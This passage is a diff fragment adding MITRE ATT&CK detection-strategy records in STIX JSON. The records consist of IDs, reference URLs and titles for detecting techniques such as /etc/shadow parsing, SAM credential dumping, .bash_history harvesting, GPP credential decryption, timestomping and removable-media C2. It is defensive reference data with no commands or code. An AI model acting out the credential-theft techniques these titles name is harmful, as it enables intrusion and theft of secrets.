"external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0083", + "external_id": "DET0083" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Container CLI and API Abuse via Docker/Kubernetes (T1059.013)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e4dd4100-2387-4029-a478-35aefd37c288" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--17c97a51-74c2-449c-bc95-cf6a7647fb83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0446", + "external_id": "DET0446" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Credential Access via /etc/passwd and /etc/shadow Parsing", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d6166e3d-2e29-4097-9fb4-c66ce0616897" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--13c88a68-15e3-45e5-958b-82fe7b948561", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0085", + "external_id": "DET0085" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Credential Dumping from SAM via Registry Dump and Local File Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8c881d82-21c3-482c-8895-c240360eec8e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8b8cfd0f-bbe2-417b-b1d2-eebf84d3f008", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0234", + "external_id": "DET0234" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Credential Dumping via Sensitive Memory and Registry Access Correlation", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5a5d5ff5-e2bb-4ba9-9f95-504c86b1a1cf", + "x-mitre-analytic--82cdec5a-52af-4489-b002-b0256e5ba60e", + "x-mitre-analytic--29370f2b-0877-458c-8ade-a9a23b8fb7b2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--630ea167-088b-4958-ac19-0fc59310e262", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0460", + "external_id": "DET0460" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Credential Stuffing Detection via Reused Breached Credentials Across Services", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e3e2d59b-220f-43b0-9891-7b299be27c50", + "x-mitre-analytic--95d381e5-f2d6-4164-9917-57f9b070333b", + "x-mitre-analytic--e2f104ac-b21a-4c48-8987-3e0ad73997df", + "x-mitre-analytic--24e6cefb-6e1c-4676-9bb8-74f6a731703c", + "x-mitre-analytic--cfff571f-eb6b-41e2-a447-f69bc07aa77a", + "x-mitre-analytic--4a930e8d-75eb-469d-82d8-1e1d5764a6d4", + "x-mitre-analytic--23c7fff8-de08-49dd-a101-0c35ad40bd7e", + "x-mitre-analytic--1b3bbeab-2000-47d6-88f9-8ed519f9bed6", + "x-mitre-analytic--de41a23b-b07d-411b-80f7-d1a8f55ba459" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--f9d25557-f87b-4920-a98b-8a3c9df4bfce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0591", + "external_id": "DET0591" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--475a8817-1ace-4bef-baaa-0f56979eb85a", + "x-mitre-analytic--632f7aef-f848-4147-95fa-2052bd373576", + "x-mitre-analytic--097ce8cb-9a38-4c8a-836c-cee15ccdf258", + "x-mitre-analytic--1c3cb010-1c22-40c8-92d3-52e31353ad92" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--195e8d37-dfe6-4dc8-8012-dc80984872aa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0063", + "external_id": "DET0063" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Behavioral Detection of Python Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f392a2cb-dd4b-4585-84d5-1fa4bd65ff60", + "x-mitre-analytic--bcac4672-778d-4b35-8b75-eaaf84b91853", + "x-mitre-analytic--59354e08-ed82-4b95-99c5-aed3996473e1", + "x-mitre-analytic--aff39b79-72c6-4cf9-8ddf-1332252580d5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--df11466a-27a2-4cb1-bf73-2a3a4aaee0d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0094", + "external_id": "DET0094" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Behavioral Detection of Scheduled Task/Job Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a0714b4d-5dbf-499e-a737-7b00478267ee", + "x-mitre-analytic--3374a404-06f9-4b32-bf94-5ac688fb9dad", + "x-mitre-analytic--8cbda989-39e6-4f9e-8e23-213f92b3479d", + "x-mitre-analytic--d20d7cf8-ecac-4011-96e0-3ec862223c11", + "x-mitre-analytic--e5adcc7e-5d68-4080-bb87-e901f297485d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6bab4067-9bfc-4e7f-b7fc-e578acd81e6a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0290", + "external_id": "DET0290" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Detection of Cron Job Abuse for Persistence and Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0fbbc547-37a7-4d00-a8a4-5fbcf3d27a1e", + "x-mitre-analytic--8a764f0e-4bcd-413d-bbf0-1a10cb98b598", + "x-mitre-analytic--3ea6b02e-47e0-4815-9190-4e95eb51e779" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--22a31282-d190-449b-a102-2d562f906b7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0573", + "external_id": "DET0573" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Detection of Data Transfer to Cloud Account", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--383dda28-1d76-4605-a53d-07829f3d7ef8", + "x-mitre-analytic--60b2d6f4-1bf0-4c52-8923-ac8e3b8088d4", + "x-mitre-analytic--d1ef9a86-7781-4b9e-9178-c2e5b1782c1f" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6dd441e4-d264-4f7f-b145-9c122955c532", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0264", + "external_id": "DET0264" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Detection of JavaScript Execution Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3f257014-01d4-487d-980c-77d4d2130315", + "x-mitre-analytic--af3dff40-40be-40dd-9a0e-a47cf052880b", + "x-mitre-analytic--26520d1c-1e0a-443b-817e-7ec1846a0476" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ca20fecb-6b8e-49ae-9ecf-19f4edd812ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0333", + "external_id": "DET0333" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-Platform Detection of Scheduled Task/Job Abuse via `at` Utility", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b9f79a81-9fee-47f2-bef8-a9f64fde935e", + "x-mitre-analytic--70e28077-c8a6-425f-94c7-a74a7140c7ce", + "x-mitre-analytic--98ce32fb-1b91-4487-9e5a-951375f2380e" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2cbbc0b5-2c4b-4861-91d3-1f64a47ef191", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0090", + "external_id": "DET0090" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Cross-host C2 via Removable Media Relay", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b355ae5d-3cd6-4594-8bd9-8fed59e02326", + "x-mitre-analytic--6f8fdb88-56d1-454e-9a35-3b7170011ca2", + "x-mitre-analytic--bb687663-4b26-46ef-a176-e188f538d399" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2d5f2445-a395-4012-b378-c953f2df7353", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0238", + "external_id": "DET0238" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Defacement via File and Web Content Modification Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d02dbf1d-b6e9-4c3c-84a2-f70fec797504", + "x-mitre-analytic--7b95ffd7-165d-4435-97b6-4508b9328d89", + "x-mitre-analytic--3258db60-8500-4935-837c-78b23f2d83d1", + "x-mitre-analytic--0e7e1861-14be-4862-8cba-6344e6e196f2", + "x-mitre-analytic--bd893675-a17e-4c3b-bec4-ffbad6986c73" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--99758bfb-f638-43aa-a233-d27646452116", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0387", + "external_id": "DET0387" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect ARP Cache Poisoning Across Linux, Windows, and macOS", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--dc4a80e3-7670-474f-aaf6-c051d5dda83c", + "x-mitre-analytic--5ee16525-5e86-4634-aa75-37468c4034c4", + "x-mitre-analytic--0f996058-7524-4759-9d88-a8997e90ff3c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d881e35b-5401-46c0-b966-8880c64681ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0113", + "external_id": "DET0113" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect AS-REP Roasting Attempts (T1558.004)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--7687688c-f91c-4487-948e-1d5b372fcdac" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--96c3e267-9dde-45cb-b700-e27c1a672cf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0224", + "external_id": "DET0224" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of Component Object Model (T1559.001)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--8a7a7e80-c28e-42b2-a222-c1d75932c986" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8ca072de-1c09-4e19-acd2-e4228681030c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0198", + "external_id": "DET0198" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of Container APIs for Credential Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--2d054232-8968-4d11-b742-536b70bbb1ba" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3f3ebc58-fff0-4083-bc5c-ee7308026a20", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0504", + "external_id": "DET0504" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of Dynamic Data Exchange (T1559.002)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d9383849-c91c-4eef-88a0-97c2454ca1af" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--b38e114c-f00f-4c70-9623-267da801625a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0493", + "external_id": "DET0493" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of Inter-Process Communication (T1559)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--0c6a8e7a-f9d0-479a-88c1-4ce26edba81c", + "x-mitre-analytic--ae8e028c-2c3a-4ac0-964f-d0b59533190d", + "x-mitre-analytic--3f42390d-2a44-4094-9cea-429f1286f8aa" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9c4b0b07-df7f-4697-8cd1-0b95ff6a6361", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0122", + "external_id": "DET0122" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of Windows Time Providers for Persistence", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c223f997-8323-40c2-98c9-38a8a1779db4" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a92f4b5f-9d0d-461f-8581-a50975f5e07a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0335", + "external_id": "DET0335" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of XPC Services (T1559.003)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a8284241-0d8e-42da-b86d-48f0d660df6c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--000d7b6f-0bb5-4144-a3eb-1aa822433da1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0535", + "external_id": "DET0535" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Abuse of vSphere Installation Bundles (VIBs) for Persistent Access", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--9696a221-35b9-4576-ae75-714c902c2889" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--69b08c7a-c2ab-4e56-935d-ec28143372de", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0381", + "external_id": "DET0381" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e14e67af-6f6e-47d6-aa19-4012ea99284c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--653b555a-590f-40e4-9400-f14d0ed92252", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0385", + "external_id": "DET0385" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access and Parsing of .bash_history Files for Credential Harvesting", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--12be6c5f-213a-464f-b780-ac06f20ab763", + "x-mitre-analytic--ead38dff-ee26-477d-be5a-69b52dc8bd50" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d1912fbc-aaac-4bb1-82f1-0713280ca9a1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0412", + "external_id": "DET0412" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detect Access or Search for Unsecured Credentials Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d76081f4-26cd-4e62-91e8-4e4a3992dd90", + "x-mitre-analytic--27213df4-c761-4745-b8ef-f91a46966eb9", + "x-mitre-analytic--49897e8e-8d14-4fcb-b305-328d44e58f35", + "x-mitre-analytic--0ec40b2f-4969-443f-bad5-4bc6239fec29", + "x-mitre-analytic--3e30007c-fc51-447f-850a-c8378427be3d", + "x-mitre-analytic--1a68a39c-c4e3-4ff1-88f5-db78575ce15e", + 